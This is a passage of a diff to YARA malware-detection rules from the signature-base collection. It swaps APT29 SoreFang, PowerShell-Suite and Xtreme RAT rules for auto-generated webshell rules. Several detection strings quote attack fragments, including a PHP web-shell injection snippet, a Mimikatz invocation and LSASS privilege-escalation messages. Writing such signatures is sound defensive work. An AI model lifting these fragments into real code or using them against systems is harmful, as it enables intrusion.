+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8517-L8529"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "10e0dff366968b770ae929505d2a9885"
+		logic_hash = "51efd5c510efc6657ae175af47b09437ae70eb0237d88ffdf3cdae365d0ec7be"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "<Command>" wide
-		$ = "Cookie:_ga="
-		$ = "------974767299852498929531610575"
+		$s7 = "packet dropped,redirecting"
+		$s9 = "input the password(the default one is 'by')"
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_APT29_Sorefang_Encryption_Round_Function : FILE
+rule SIGNATURE_BASE_Mithril_Dlltest
 {
 	meta:
-		description = "Rule to detect SoreFang based on the encryption round function"
-		author = "NCSC"
-		id = "0be1c084-c8df-5920-a320-90364a7fb542"
+		description = "Webshells Auto-generated - file dllTest.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "59a6bfb6-c099-56cd-b40e-3e92ea0eb7d3"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L201-L214"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
-		logic_hash = "c4979b7ec31581b43b6975be5d4b1bfa5562e5fe25bbb51bb7c388550ed80ac6"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8530-L8542"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a8d25d794d8f08cd4de0c3d6bf389e6d"
+		logic_hash = "c8c8d1b75ed4eb4bc66a762e53aa6b3ab439e96ef464a8b9ffa4dff887986465"
+		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 8A E9 8A FB 8A 5D 0F 02 C9 88 45 0F FE C1 0F BE C5 88 6D F3 8D
-            14 45 01 00 00 00 0F AF D0 0F BE C5 0F BE C9 0F AF C8 C1 FA 1B C0 E1 05 0A D1 8B 4D EC 0F BE C1 89 55 E4 8D 14 45 01 00 00 00 0F AF D0 8B C1}
+		$s0 = "please enter the password:"
+		$s3 = "\\dllTest.pdb"
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_APT29_Sorefang_Add_Random_Commas_Spaces : FILE
+rule SIGNATURE_BASE_Peek_A_Boo
 {
 	meta:
-		description = "Rule to detect SoreFang based on function that adds commas and spaces"
-		author = "NCSC"
-		id = "9a89c619-6309-500f-b4dc-c8a3e8fc4417"
+		description = "Webshells Auto-generated - file peek-a-boo.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f6ca33b5-e37f-5124-a193-a3056c559314"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L216-L229"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
-		logic_hash = "046e222aabc9e596d9536702521b4729d990e1f327ded004ca984b73a8511a83"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8543-L8559"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "aca339f60d41fdcba83773be5d646776"
+		logic_hash = "b103c1b873dd0df9626d72a1127fbadc821777a05012a080423263a2083c398b"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { E8 ?? ?? ?? ?? B9 06 00 00 00 99 F7 F9 8B CE 83 FA 04 7E 09 6A
-            02 68 ?? ?? ?? ?? EB 07 6A 01 68 }
+		$s0 = "__vbaHresultCheckObj"
+		$s1 = "\\VB\\VB5.OLB"
+		$s2 = "capGetDriverDescriptionA"
+		$s3 = "__vbaExceptHandler"
+		$s4 = "EVENT_SINK_Release"
+		$s8 = "__vbaErrorOverflow"
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_APT29_Sorefang_Modify_Alphabet_Custom_Encode : FILE
+rule SIGNATURE_BASE_Fmlibraryv3
 {
 	meta:
-		description = "Rule to detect SoreFang based on arguments passed into custom encoding algorithm function"
-		author = "NCSC"
-		id = "7c5c1be0-ccad-5c8f-a026-445994b1f279"
+		description = "Webshells Auto-generated - file fmlibraryv3.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9b8ef79d-80bb-5a05-91e6-0f2bc3fd3068"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L231-L243"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
-		logic_hash = "f0f5bcad52b0b15dc74a51973ef2752234bd12d677c846b2f96fe569d906ea3b"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8560-L8571"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c34c248fed6d5a20d8203924a2088acc"
+		logic_hash = "a7dc83db26cdda757f626c42022c17bb2764074a3cc5f87b4a3aaa991fac5dc2"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 33 C0 8B CE 6A 36 6A 71 66 89 46 60 88 46 62 89 46 68 66 89 46
-            64 }
+		$s3 = "ExeNewRs.CommandText = \"UPDATE \" & tablename & \" SET \" & ExeNewRsValues & \" WHER"
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_APT29_Sorefang_Custom_Encode_Decode : FILE
+rule SIGNATURE_BASE_Debug_Dlltest_2
 {
 	meta:
-		description = "Rule to detect SoreFang based on the custom encoding/decoding algorithm function"
-		author = "NCSC"
-		id = "4885a659-bb3a-5e33-99cc-b827931bf58f"
+		description = "Webshells Auto-generated - file dllTest.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cf81e3de-513c-584d-bc37-6504e91b170c"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L245-L274"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
-		logic_hash = "536147bda9603d68748010f9db260af732fe0865a601ae1104538933b19c519b"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8572-L8584"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1b9e518aaa62b15079ff6edb412b21e9"
+		logic_hash = "bf260ce0f8d4728920679573cd77927b44db28ba6102923707af8d1ad7d0ef2d"
+		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 55 8B EC 8B D1 53 56 8B 75 08 8B DE 80 42 62 FA 8A 4A 62 66 D3
-            EB 57 3A 5A 5C 74 0F}
-		$ = { 3A 5A 5D 74 0A 3A 5A 58 74 05 3A 5A 59 75 05 FE C1 88 4A 62 8A
-            4A 62 B8 01 00 00 00}
-		$ = { 8A 46 62 84 C0 74 3E 3C 06 73 12 0F B6 C0 B9 06 00 00 00 2B C8
-            C6 46 62 06 66 D3 66 60 0F B7 4E 60}
-		$ = { 80 3C 38 0D 0F 84 93 01 00 00 C6 42 62 06 8B 56 14 83 FA 10 72
-            04 8B 06}
-		$ = { 0F BE 0C 38 8B 45 EC 0F B6 40 5B 3B C8 75 07 8B 55 EC B3 3E}
-		$ = { 0F BE 0C 38 8B 45 EC 0F B6 40 5E 3B C8 75 0B 8B 55 EC D0 EB C6
-            42 62 05}
-		$ = { 8B 55 EC 0F BE 04 38 0F B6 DB 0F B6 4A 5F 3B C1 B8 3F 00 00 00
-            0F 44 D8}
-		$ = { 8A 4A 62 66 8B 52 60 66 D3 E2 0F B6 C3 66 0B D0 8B 45 EC 66 89
-            50 60 8A 45 F3 02 C1 88 45 F3 3C 08 72 2E 04 F8 8A C8 88 45 F3
-            66 D3 EA 8B 4D 08 0F B6 C2 50 }
-		$ = { 3A 5A 5C 74 0F 3A 5A 5D 74 0A 3A 5A 58 74 05 3A 5A 59 75 05 FE
-            C1 88 4A 62 }
+		$s4 = "\\Debug\\dllTest.pdb"
+		$s5 = "--list the services in the computer"
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and any of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_APT29_Sorefang_Remove_Chars_Comma_Space_Dot : FILE
+rule SIGNATURE_BASE_Connector
 {
 	meta:
-		description = "Rule to detect SoreFang based on function that removes commas, spaces and dots"
-		author = "NCSC"
-		id = "c15779b0-6a5e-5345-94ad-95615b567f1f"
+		description = "Webshells Auto-generated - file connector.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e46026bc-c570-5057-a132-5a459c959a69"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L276-L289"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
-		logic_hash = "652607e0cfe6f5ad6ede169e28f63e8262fc37cbc7baa2525e52e79572d9a468"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8585-L8597"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3ba1827fca7be37c8296cd60be9dc884"
+		logic_hash = "b8cadb7aa23a8cdef10e7b1eb05586d6c3e7c398958a80861b6f1ccd4edf1eca"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = {8A 18 80 FB 2C 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}
-		$ = {8A 18 80 FB 2E 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}
-		$ = {8A 18 80 FB 20 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}
+		$s2 = "If ( AttackID = BROADCAST_ATTACK )"
+		$s4 = "Add UNIQUE ID for victims / zombies"
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and all of them
+		all of them
 }
-rule SIGNATURE_BASE_APT_APT29_Sorefang_Disk_Enumeration_Strings : FILE
+rule SIGNATURE_BASE_Shelltools_G0T_Root_Hiderun
 {
 	meta:
-		description = "Rule to detect SoreFang based on disk enumeration strings"
-		author = "NCSC"
-		id = "0ff01793-6fb7-5cff-b4e4-6709269ab0f0"
+		description = "Webshells Auto-generated - file HideRun.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dd71dbef-5b5d-5976-8b95-0f202a4b4795"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt29_grizzly_steppe.yar#L291-L310"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
-		logic_hash = "4a225b767dc922625c333aea866638bc5e239137592e46c17563b9cc380b0eea"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8598-L8610"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "45436d9bfd8ff94b71eeaeb280025afe"
+		logic_hash = "3a6dea2314800b28e92b59595c8b79c64e66dc66ebfa8f89c2f4028b574b9a91"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "\x0D\x0AFree on disk: "
-		$ = "Total disk: "
-		$ = "Error in GetDiskFreeSpaceEx\x0D\x0A"
-		$ = "\x0D\x0AVolume label: "
-		$ = "Serial number: "
-		$ = "File system: "
-		$ = "Error in GetVolumeInformation\x0D\x0A"
-		$ = "I can not het information about this disk\x0D\x0A"
+		$s0 = "Usage -- hiderun [AppName]"
+		$s7 = "PVAX SW, Alexey A. Popoff, Moscow, 1997."
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Powershell_Suite_Hacktools_Gen_Strings : FILE
+rule SIGNATURE_BASE_PHP_Shell_V1_7
 {
 	meta:
-		description = "Detects strings from scripts in the PowerShell-Suite repo"
+		description = "Webshells Auto-generated - file PHP_Shell_v1.7.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "afccdd99-da83-5fde-9e21-52220ded1e47"
-		date = "2017-12-27"
+		id = "7eb69ac3-90bb-5a44-8dcd-e71f5edcf18f"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/FuzzySecurity/PowerShell-Suite"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_suite.yar#L2-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0f14a0665c60e85c0cf508f46130b09e467a16270fcd1aa8d0319e17778d4d75"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8611-L8622"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b5978501c7112584532b4ca6fb77cba5"
+		logic_hash = "e03904177309de9ce1afa0b12bf70913b106650c3db5807f9d4ccb91fb2ade77"
 		score = 75
-		quality = 83
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "79071ba5a984ee05903d566130467483c197cbc2537f25c1e3d7ae4772211fe0"
-		hash2 = "db31367410d0a9ffc9ed37f423a4b082639591be7f46aca91f5be261b23212d5"
-		hash3 = "4f51e7676a4d54c1962760ca0ac81beb28008451511af96652c31f4f40e8eb8e"
-		hash4 = "17ac9bb0c46838c65303f42a4a346fcba838ebd5833b875e81dd65c82701d8a8"
-		hash5 = "fa33aef619e620a88ecccb990e71c1e11ce2445f799979d23be2d1ad4321b6c6"
-		hash6 = "5542bd89005819bc4eef8dfc8a158183e5fd7a1438c84da35102588f5813a225"
-		hash7 = "c6a99faeba098eb411f0a9fcb772abac2af438fc155131ebfc93a00e3dcfad50"
-		hash8 = "a8e06ecf5a8c25619ce85f8a23f2416832cabb5592547609cfea8bd7fcfcc93d"
-		hash9 = "6aa5abf58904d347d441ac8852bd64b2bad3b5b03b518bdd06510931a6564d08"
-		hash10 = "5608f25930f99d78804be8c9c39bd33f4f8d14360dd1e4cc88139aa34c27376d"
-		hash11 = "68b6c0b5479ecede3050a2f44f8bb8783a22beeef4a258c4ff00974f5909b714"
-		hash12 = "da25010a22460bbaabff0f7004204aae7d830348e8a4543177b1f3383b2c3100"
 
 	strings:
-		$ = "[!] NtCreateThreadEx failed.." fullword ascii
-		$ = "[?] Executing mmc.." ascii
-		$ = "[!] This method is only supported on 64-bit!" fullword ascii
-		$ = "$LNK = [ShellLink.Shortcut]::FromByteArray($LNKHeader.GetBytes())" fullword ascii
-		$ = "$CallResult = [UACTokenMagic]::TerminateProcess($ShellExecuteInfo.hProcess, 1)" fullword ascii
-		$ = "[!] Unable to open process (as Administrator), this may require SYSTEM access." fullword ascii
-		$ = "[!] Error, NTSTATUS Value: " ascii
-		$ = "[!] UAC artifact: " ascii
-		$ = "[>] Process dump success!" ascii
-		$ = "[!] Process dump failed!" ascii
-		$ = "[+] Eidolon entry point:" fullword ascii
-		$ = "Wait for shellcode to run" fullword ascii
-		$ = "$Command = Read-Host \"`nSMB shell\"" fullword ascii
-		$ = "Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines." fullword ascii
-		$ = "Invoke-CreateProcess -Binary C:\\Windows\\System32\\" ascii
-		$ = "[?] Thread belongs to: " ascii
-		$ = "[?] Operating system core count: " ascii
-		$ = "[>] Calling Advapi32::LookupPrivilegeValue --> SeDebugPrivilege" fullword ascii
-		$ = "Calling Advapi32::OpenProcessToken --> LSASS" ascii
-		$ = "[!] Mmm, something went wrong! GetLastError returned:" ascii
-		$ = "if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ')" fullword ascii
+		$s8 = "<title>[ADDITINAL TITTLE]-phpShell by:[YOURNAME]"
 
 	condition:
-		filesize <100KB and 1 of them
+		all of them
 }
-rule SIGNATURE_BASE_Powershell_Suite_Eidolon : FILE
+rule SIGNATURE_BASE_Xssshell_Save
 {
 	meta:
-		description = "Detects PowerShell Suite Eidolon script - file Start-Eidolon.ps1"
+		description = "Webshells Auto-generated - file save.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5440d8fc-b939-556f-a8a0-ef5feb29e32f"
-		date = "2017-12-27"
+		id = "f33c7559-e2f7-5223-a0e9-4e1d3bc7f080"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/FuzzySecurity/PowerShell-Suite"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_powershell_suite.yar#L48-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "587a9a8569801e2aa96a6f171705fdc1db5632734b54e5a9eb8282502e1efc63"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8623-L8635"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "865da1b3974e940936fe38e8e1964980"
+		logic_hash = "c53034c6ebc4f01c4573e688f548e71dae944913797b12eb8f22a5ef0a368ccf"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "db31367410d0a9ffc9ed37f423a4b082639591be7f46aca91f5be261b23212d5"
 
 	strings:
-		$ = "[+] Eidolon entry point:" ascii
-		$ = "C:\\PS> Start-Eidolon -Target C:\\Some\\File.Path -Mimikatz -Verbose" fullword ascii
-		$ = "[Int16]$PEArch = '0x{0}' -f ((($PayloadBytes[($OptOffset+1)..($OptOffset)]) | % {$_.ToString('X2')}) -join '')" fullword ascii
+		$s4 = "RawCommand = Command & COMMAND_SEPERATOR & Param & COMMAND_SEPERATOR & AttackID"
+		$s5 = "VictimID = fm_NStr(Victims(i))"
 
 	condition:
-		uint16(0)==0x7566 and filesize <13000KB and 1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Xtreme_Sep17_1 : FILE
+rule SIGNATURE_BASE_Screencap
 {
 	meta:
-		description = "Detects XTREME sample analyzed in September 2017"
+		description = "Webshells Auto-generated - file screencap.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7517e237-9cad-5619-9028-4c7ab5463040"
-		date = "2017-09-27"
+		id = "0c1b71d3-ad54-5230-b1ab-971647e76139"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_xtreme_rat.yar#L14-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa78b43f729032291c27f67dc53bd39a85c9a50323c7adf909ca2a8c5acdd861"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8636-L8649"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "51139091dea7a9418a50f2712ea72aa6"
+		logic_hash = "9be7ec97ef8e9b8838f7931a8fcf8d85b1543a202a7bf34fab9791fc47889cb9"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "93c89044e8850721d39e935acd3fb693de154b7580d62ed460256cabb75599a6"
 
 	strings:
-		$x1 = "ServerKeyloggerU" fullword ascii
-		$x2 = "TServerKeylogger" fullword ascii
-		$x3 = "XtremeKeylogger" fullword wide
-		$x4 = "XTREMEBINDER" fullword wide
-		$s1 = "shellexecute=" fullword wide
-		$s2 = "[Execute]" fullword wide
-		$s3 = ";open=RECYCLER\\S-1-5-21-1482476501-3352491937-682996330-1013\\" wide
+		$s0 = "GetDIBColorTable"
+		$s1 = "Screen.bmp"
+		$s2 = "CreateDCA"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4000KB and (pe.imphash()=="735af2a144f62c50ba8e89c1c59764eb" or (1 of ($x*) or 3 of them ))
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Xtreme_Sep17_2 : FILE
+rule SIGNATURE_BASE_FSO_S_Phpinj_2
 {
 	meta:
-		description = "Detects XTREME sample analyzed in September 2017"
+		description = "Webshells Auto-generated - file phpinj.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b4878e80-54dc-5a16-9129-ddf2b1a5d287"
-		date = "2017-09-27"
+		id = "db8f835e-eb13-50f3-a60b-7d8ffcaa5eaa"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_xtreme_rat.yar#L39-L53"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cb86167e0267d52b1b7503abd8f5b988296e3cde12453ace529c4e043d2ca69e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8650-L8661"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dd39d17e9baca0363cc1c3664e608929"
+		logic_hash = "12af5182b94f01ac4fbdee92c007556aaa7f196aca116575803cedd84b81f3b0"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f8413827c52a5b073bdff657d6a277fdbfda29d909b4247982f6973424fa2dcc"
 
 	strings:
-		$s1 = "Spy24.exe" fullword wide
-		$s2 = "Remote Service Application" fullword wide
+		$s9 = "<? system(\\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <3000KB and all of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Xtreme_Sep17_3 : FILE
+rule SIGNATURE_BASE_Zxshell2_0_Rar_Folder_Zxrecv
 {
 	meta:
-		description = "Detects XTREME sample analyzed in September 2017"
+		description = "Webshells Auto-generated - file zxrecv.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "160673ea-b263-520a-a1c1-da0f3e920f12"
-		date = "2017-09-27"
+		id = "9d36541f-dd55-5385-8e2b-598ad78bdf73"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_xtreme_rat.yar#L55-L69"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c110863028ab1f557270e52de608179ce582a47e0a20994f83d385ed285bda9a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8662-L8679"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5d3d12a39f41d51341ef4cb7ce69d30f"
+		logic_hash = "7eef63e45f6902e4f2d5f854b2794df3101a2ef145e2d627263db429c2b728d7"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f540a4cac716438da0c1c7b31661abf35136ea69b963e8f16846b96f8fd63dde"
 
 	strings:
-		$s2 = "Keylogg" fullword ascii
-		$s4 = "XTREME" fullword wide
+		$s0 = "RyFlushBuff"
+		$s1 = "teToWideChar^FiYP"
+		$s2 = "mdesc+8F D"
+		$s3 = "\\von76std"
+		$s4 = "5pur+virtul"
+		$s5 = "- Kablto io"
+		$s6 = "ac#f{lowi8a"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <700KB and all of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Xtreme_RAT_Gen_Imp : FILE
+rule SIGNATURE_BASE_FSO_S_Ajan
 {
 	meta:
-		description = "Detects XTREME sample analyzed in September 2017"
+		description = "Webshells Auto-generated - file ajan.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "10b23099-2a87-5918-927b-f20bcba1cd70"
-		date = "2017-09-27"
+		id = "03bf98b9-c8c5-5b9f-b0cd-700c5ed58eac"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
